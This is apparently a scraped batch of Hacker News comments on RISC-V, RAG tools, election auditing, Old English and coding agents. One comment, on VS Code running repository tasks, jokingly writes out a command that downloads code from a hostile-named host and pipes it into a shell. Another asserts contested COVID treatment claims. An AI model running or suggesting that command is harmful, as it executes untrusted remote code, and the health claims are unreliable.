MurphyA/hacker-news huggingface dataset:
by LeFantome | 2026-01-22 06:53:03+00:00
I hesitate to say this as you seem very knowledgeable but you are missing some pretty massive facts that destroy your argument here.

There are already literally billions of RISC-V chips in the wild. Qualcomm alone has shipped a billion or more. They wrote an article back in 2023 where they disclosed that they had already shipped 650 million of them by that point.

RISC-V is not some obscure ISA that cannot get any traction.

There are a dozen or more credible competitors designing 64 bit RISC-V CPUs. Most of them have shipped silicon. Some have shipped multiple generations. Has any ISA ever had so many independent companies creating designs (not designs from a single source like ARM)?

Tenstorrent alone likely made $500 million dollars in 2025. Easier to confirm is that they closed a $650 million funding round.

NVIDIA has announced CUDA support for RISC-V. I do not remember them doing that for SPARC, or POWER, or SuperH.

The current RISC-V standard, RVA23, includes advanced instructions for things like vectorization and virtualization. Many large, important industry players are involved in designing future extensions as well.

RISC-V is an officially supported platform in many mainstream Linux distributions including aggressively commercial ones like Red Hat Enterprise Linux but also foundational ones like Debian and its derivatives (like Ubuntu).

GCC and Clang have excellent support for RISC-V. FFMPEG just released hand-written vector optimizations for RISC-V. Again, can we say this about any of the platforms you mentioned?

It's a pretty inescapable fact on the ground that RISC-V has an absolute mountain of support in the industry. And starting this year, multiple vendors will be shipping cores faster than you can license from ARM.

Honestly, what universe are you living in?
by kaifahmad1 | 2026-01-22 06:53:06+00:00
Hi HN,

I’m sharing Semantica, an open-source framework for building knowledge-driven RAG systems.

Most RAG pipelines rely on vector similarity over text chunks. This works well for simple retrieval, but breaks down when systems need:

explicit relationships

multi-hop reasoning

global context

explainability

Semantica takes an ontology-first approach:

Raw data is transformed into entities and relationships

Knowledge is stored as a knowledge graph

Retrieval combines graph traversal and vector search

LLMs operate on structured knowledge, not just text

The goal is to make RAG systems more reliable and traceable, especially for domains like healthcare, enterprise search, and research.

Semantica includes:

Semantic layers

Knowledge engineering pipelines

RDF/OWL ontology ingestion

Knowledge graph construction

GraphRAG-style retrieval

GitHub: https://github.com/Hawksight-AI/semantica

The project recently crossed ~300 stars.

I’d appreciate feedback from people working on RAG, IR, or knowledge graphs.

Thanks.
by hobbified | 2026-01-22 06:53:11+00:00
Lots of custom infrastructure. A bit of losing money as well, but moderately profitable on the whole. They were a publicly traded company in their own right from 2021 to 2025, so you can look at the 10-Ks. There was a massive boost in business from COVID in 2020 and early 2021... which meant that the spinoff in May 2021 left investors in a position to be perpetually disappointed, sort of like Peloton.
by fmobus | 2026-01-22 06:53:31+00:00
As the other reply noted, there were audits by multiple entities and parties, although I agree that it would be preferable for the code to be open sourced.

I do disagree with your other points. Paper confirmation is not necessarily the only way to audit, and may in fact introduce risks of voter reidentification and coercion (voto de cabresto). The other way of auditing the machines is the parallel voting procedure, which already takes place at every election and is honestly a brilliant piece of security engineering.

For those not aware, the parallel voting procedure works as follows:

1) the day before the election (when the software has already been loaded and locked into the machines for several days), a random sample of machines is selected for the procedure

2) those machines are then removed from the polling place they would ordinarily be assigned to, and replaced with a backup machine

3) the removed machine is then installed in a different room, and booted up normally on electionday. Since it is fully offline, the machine doesn't "know" it is being used in this mode

4) this room is setup so that there are cameras pointed to the machine, and people from all observing parties (and common citizens as well) are invited to "mock vote" in this room.

5) at the end of the day, the machine is closes, its report printed, and the result is checked against the known mock votes

Pretty solid method if you ask me, and much cheaper than upgrading the entire fleet to enable printing.
by AmiteK | 2026-01-22 06:53:31+00:00
I think we’re optimizing for different constraints. If your goal is zero extra round trips and you’re happy with AGENTS.md auto-injection + LSP queries, then I agree LogicStamp won’t be a win on token cost for that setup.

The AGENTS.md comparison isn’t “same thing” - it’s a different layer. AGENTS.md encodes human intent/heuristics. LogicStamp generates semantic ground-truth contracts (exports, APIs, routes) from the AST so they can be diffed and validated mechanically (e.g. CI drift detection).

Git + LSP can diff/query source across commits, but that’s still a query workflow. LogicStamp’s goal is a persistent, versioned semantic artifact. If your workflow already covers that, then it may simply not add value - which is totally fine.
by verdverm | 2026-01-22 06:53:42+00:00
From the readme

> Pre-processed relationships - Dependency graphs are explicit (graph.edges) rather than requiring inference

I suspect this actually is the opposite. Injecting some extra, non-standard format or syntax for expressing something requires more cycles for the LLM to understand. They have seen a lot of Typescript, so the inference overhead is minimal. This is similar to the difference between a Chess Grandmaster and a new player. The master or llm has specialized pathways dedicated to their domain (chess / typescript). A Grandmaster does not think about how pieces move (what does "graph.edges" mean?), they see the board in terms of space control. Operational and minor details have been conditioned into the low level pathways leaving more neurons free to work on higher level tasks and reasoning.

I don't have evals to prove one way or the other, but the research generally seems to suggest this pattern holds up, and it makes sense with how they are trained and the mathematics of it all.

Thoughts?
by degamad | 2026-01-22 06:54:46+00:00
The solution in Australia is simpler - you don't submit the vote that you took a photo of. You can get a ballot, fill it out the "right" way, take a photo, erase the markings, write on your preferred vote, and submit that.

Even if you ignore the pencil they give you and use a pen, you can simply tear or damage the paper, take it back to the elections officer, ask for a new ballot, and fill that out instead. We make it as hard as possible to coerce a vote while maintaining secret voting (noting that it is definitely still possible, just hard).
by antonvs | 2026-01-22 06:55:00+00:00
Check out the paper - someone else linked it. It has several examples from Old English and other related languages which support its case. It seems pretty compelling to me.

The fact that earlier translators had to break up the original sentence and insert an exclamation point after "What" is already a bit suspect. Walkden's interpretation actually makes more sense, when you see examples like "Hwæt stendst þu her wælhreowa deor?", meaning "Why are you standing here, cruel beast?"

This may be a case where early translators over-indexed on e.g. Latin patterns and made a mistake which was then just accepted by subsequent translators.
by barrkel | 2026-01-22 06:55:20+00:00
When you're under a lot of stress, your internal evaluation function for what is moral can start to break down. It may have been hard for him to turn the money down, especially if he's addicted to the sense of power he's getting from his coding agent spend. As he said, his wife suggested they can't afford it.

There's another thing. A certain type of engineer seems to get sucked into Amazon's pressure culture. They either are, or end up, a bit manic. Laid back and relaxed one day (especially after holidays), but wound up and under a lot of internal pressure to produce the next, and a lot more of the latter. Something like Gas Town must be a crazy fix when you're feeling that pain. Combined with the vision that if you don't, you're unemployed/unemployable in 12 to 24 months, you might feel you have no choice but to spend every waking minute at it.

It's a bit (more than a bit) rude to analyse someone at a distance. And to be honest, I think something like Gas Town is probably one of the possible shapes of things to come. I don't think what I can observe looks super healthy, is all.
by silisili | 2026-01-22 06:55:34+00:00
You have to realize the vast majority of farmland is in states suceptable to floods, droughts, hurricanes, pests, frosts, etc. You can read stories of an off year where locusts were so bad they darkened the skies, for example.

Compounding this, farm equipment is freaking expensive. It's not abnormal for a large farm to have hundreds of thousands in payments on machinery. In a good year they make hundreds of thousands. In a bad year they're on the hook for hundreds of thousands. It can take only one bad year to wreck a farm, which is why their suicide rate is so high.

It's hard to imagine as a dev. But imagine you make 200k. Then next year, because of ransomware your boss installed, they tell you you owe 200k through no fault of your own. What would that do to your finances?

Insurance is a parasite. I'm usually against subsidies, but for as something as important as food, it seems reasonable.
by antonvs | 2026-01-22 06:56:35+00:00
> It does however help drive home the point that such interjections were unlikely to be used by speakers of Nordic languages in order to begin a tale.

Beowulf was written in Old English, which is not a Nordic language.

> ... any of the speech patterns found in languages which developed from Old Norse.

Similarly, Old English didn't develop from Old Norse.
by mannanj | 2026-01-22 06:57:21+00:00
Noting that it is straw man to connect my argument with vaccine skepticism.

The mass psychosis was that early on in the COVID response, we were hearing so much early advice from people that were ahead of CDC/FDA, things like:

- Masks work (CDC/FDA discouraged, then flip-flopped and took credit for these things) despite it originating from Scott Alexander and skeptic communities like his, I also heard it from Tim Ferriss

- Ivermectin, Mega dosing Vitamins like Vitamin D and C, Povidone Iodine (known disinfectant people use: claimed to be "bleach" by misinformation media) - we know they still have Little to no downside and the psychosis was to label any critical thinking about ideas like nutrition and personal health to help with "COVID" as anti-COVID and anti-vaccine. Psychosis like attack, straw mans, Ad Hominems shutting down critical thinking and curiosity as psychosis

- Asking about "Hey if I got COVID before, that immunity is as robust if not more than vaccine, what evidence supports I need the vaccine?" was shut down despite it being robust and sound questioning to ask. Curiosity was shut down, psychosis was to jump on all questioners as anti-vaccine and vaccine skeptics, calling them murderers often by sensationalist papers.

Does that answer your question, and feel referential for you. Let me know what you are expecting and I can deliver better references. I think you've heard about or are probably familiar with all the examples I used though.(Another psychosis I just thought of: To this day the hostile, discriminatory, lock-step vocal cancel-culture class of opinion that was blindly sent to anyone who questioned mainstream covid policy during that time was so much like the biggest example of psychosis I've ever seen. That wa when I first heard of the term "mass psychosis")
by brigandish | 2026-01-22 06:57:51+00:00
"Arguing in bad faith" - what would that actually mean? Would it be the same as using a sock puppet to push an agenda? That wasn't me, that's what I'm pointing out and you're dismissing for no good reason.

Regardless:

- The page is still titled "Constitution…" when the opening paragraph contains "The name "Constitution of Medina" is misleading as the text did not establish a state." Make that make sense.

- "and the first "Constitution"" is still in the page

It persists.

Now, what I might consider bad faith is:

- being unwilling to answer simple, straightforward questions, which is apt, considering Socrates was an Athenian

- having such an interest in the page that you claim you made edits

- not checking properly and thus thinking this only happened twice, and wasn't part of attritional arguments, rollbacks, edits and counter-edits

Wikipedia must be alright if one does not wish to see a problem.
by yakshaving_jgt | 2026-01-22 06:58:03+00:00
Somehow I don’t get the impression that US soldiers killed in the Middle East are stoking American bloodlust.

Conversely, russian soldiers are here in Ukraine today, murdering Ukrainians every day. And then when I visit, for example, a tech conference in Berlin, there are somehow always several high-powered nerds with equal enthusiasm for both Rust and the hammer and sickle, who believe all defence tech is immoral, and that forcing Ukrainian men, women, and children to roll over and die is a relatively more moral path to peace.
by tomhow | 2026-01-22 06:58:22+00:00
Could you please stop posting unsubstantive comments and flamebait? You've unfortunately been doing it repeatedly. It's not what this site is for, and destroys what it is for.

If you wouldn't mind reviewing https://news.ycombinator.com/newsguidelines.html and taking the intended spirit of the site more to heart, we'd be grateful.
by willvarfar | 2026-01-22 06:58:40+00:00
This video is very liberal but does a good job of explaining which companies and industries pay for breaks and which don't. And uses soy bean farmers as a prominent example of a group who haven't been giving Trump bribes https://youtu.be/RPzcGeiNYvk?si=bfy_5KEo_ZUxOBHu
by bob1029 | 2026-01-22 06:59:55+00:00
I am firmly in the opposite direction to parallelism. I don't think it's a good thing to chase. One "slow" agent can outpace many fast ones if they're making a lot of mistakes.

Depth first search via recursive dispatch is my current go-to strategy. This requires a fully serialized chain of operations. Not even tool calls are allowed to run in parallel. One agent and one action at a time. That's it.

This does feel really slow at first, but in practice it seems to converge on high quality solutions more quickly than breadth first techniques which leverage parallelism and more tokens. The solution itself might not be the most ideal, but we find it very quickly and with a great deal of consistency. This means we can iterate more rapidly and with more certainty.

Just because we can consume $100 of tokens in 60 seconds doesn't mean we should try to. I think trying to go fast is what's burning a lot of people out on AI. There's a ton of value in here if we can slow down and be a little bit more deliberate about it.
by menaerus | 2026-01-22 07:01:04+00:00
In a fast-paced domain such as this one, and especially wrt the (global) competitiveness, development/leadership process is most likely chaotic and "best" practices that we would normally find in other lower-paced companies cannot be followed here. I think that by underspecifiying the assignment they wanted to test the ability of a candidate to fit into such environment, apart from the obvious one and which is to filter out not enough motivated candidates.
by Ekaros | 2026-01-22 07:01:20+00:00
They were at-will employment. That should have been considered with their every purchasing decision ever. Their personal and moral failures is not their employers failures.

Budgeting is trivial thing. Spend less than you earn. And it is not like these were minimum wage workers. They should have known to have plenty of buffers at this point. It is entirely their own fault of not reach that point.
by mrkeen | 2026-01-22 07:02:06+00:00
I've never quite found the right cross-platform phone dev setup before, so this piqued my interest a little.

Skip requires a macOS 15+ development machine with Xcode 16.4 or later installed.

So not really the cross-platform I was imagining. That one's on me.

With no additional managed runtime, Skip apps are as efficient as they can possibly be on both platforms.

Bold claim. These guys must really care about every byte.

At least 32GB of memory is recommended for development with Skip.

(!)
by happymellon | 2026-01-22 07:02:36+00:00
Just tried for Amazon UK.

Apparently the cheapest is £17.75 per TB for a 16 TB disk.

However the second cheapest is £18.75 for an 8, but if you click through the 8 has an option for 16 at £273, which is £17.06. Non-discounted. It's just generally cheaper than the sites suggested cheapest.

So it's unfortunately already demonstrably wrong with its first two suggestions.
by koonsolo | 2026-01-22 07:03:44+00:00
You skipped the part where I said I work with Ukrainians? I work with them on a weekly basis for 13 years.

> Can you show an Ukrainian law that allows men to freely cross the border?

Did I say he crossed it legally? He crossed it illegally of course, which according to you was impossible due to guards with automatic rifles, drones and anti-personnel mines.

> half of my family lives in Ukraine.

My bet: You haven't spoken with them in years, because they cut connections due to your political views. Just as I will now.
by Animats | 2026-01-22 07:05:54+00:00
When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

curl https://www.hostilecode.com > bash
by comp_throw7 | 2026-01-22 07:06:26+00:00
> But if he is, he's missing that we do understand at a fundamental level how today's LLMs work.

No we don't? We understand practically nothing of how modern frontier systems actually function (in the sense that we would not be able to recreate even the tiniest fraction of their capabilities by conventional means). Knowing how they're trained has nothing to do with understanding their internal processes.
by AmiteK | 2026-01-22 07:06:32+00:00
That’s a reasonable hypothesis, and I agree LLMs are very good at inferring structure from raw TypeScript within a local reasoning window. However, that inference has to be repeated as context shifts or resets.

The claim I’m making is narrower: pre-processed structure isn’t about helping the model understand syntax, it’s about removing the need to re-infer relationships every time. The output isn’t a novel language - it’s a minimal, explicit representation of facts (e.g. dependencies, exports, routes) that would otherwise be reconstructed from source.

Inference works well per session, but it doesn’t give you a persistent artifact you can diff, validate, or assert against in CI. LogicStamp trades some inference convenience for explicitness and repeatability across runs.

I don’t claim one dominates the other universally - they optimize for different failure modes.
by globular-toast | 2026-01-22 07:08:05+00:00
Copyright was originally about protecting the public from corporations. An author had no incentive to write because a corporation with a printing press would mass produce the work for a fraction of the cost without paying the author. Copyright meant corporations couldn't do that.

But since since at least the 90s copyright has been about protecting corporations from the public. This fits the general trend of the last 50 years or so. Corporations are amassing more and more power and the public has very little.
by brigandish | 2026-01-22 07:09:08+00:00
In this case the point wouldn't be their truth (necessarily) but that they are a fixed position, making convenience unavailable as a factor in actions and decisions, especially for the humans at Anthropic.

Like a real constitution, it should be claim to be inviolable and absolute, and difficult to change. Whether it is true or useful is for philosophers (professional, if that is a thing, and of the armchair variety) to ponder.
by verdverm | 2026-01-22 07:09:19+00:00
I think none of us know what we are doing with the new toy and are still trying to figure it out lol. So in some sense, there are a lot of ideas being offered, often in many shapes themselves. Just look to the agent sandboxing space

I still have a hard time seeing why I want something like this in my agentic or organic software development. I tried something nearly identical for Go, and having all that extra bookkeeping in context wrecked things, so on an experiential level, the custom DSL for giving the agent an index to the code base hurt overall coding agent performance and effectiveness.

What works far better is having very similar in content, but very curated "table of contents" for the agent. Yes, I also use the same methods to break it down by directory or other variables. But when it reads one of these, the majority is still noise, which is why overall performance degraded and why curation is such a difference maker.

Do you have evaluations for your project that it leads to better overall model capabilities, especially as they compare to a project that already uses AGENTS.md?

btw, I put this stuff in AGENTS.md now, you can put whatever you want in there, for example I auto generate some sections with Go's tooling to have a curated version of what your project does. I don't see it as a "different layer" because it is all context engineering in the end.
by vlovich123 | 2026-01-22 07:09:19+00:00
I think you misread:

> that are within 13% of the storage lower bound -- without sacrificing query speed. As an additional benefit, the construction of the new binary fuse filters can be more than twice as fast as the construction of xor filters. By slightly sacrificing query speed, we further reduce storage to within 8% of the lower bound.

They are faster to construct (2x) and smaller (within 13% of theoretical limit) while maintaining the same query performance.
by vasco | 2026-01-22 07:12:14+00:00
This has been going for long enough that there's been several metastudies debunking it. Was hyped in the news around 2017.

Fish skin or silver sulfadiazine had similar effects and to me are both approximating placebo from the studies I read. The fish does nothing for pain and no difference in the scarring time vs the silver ointments.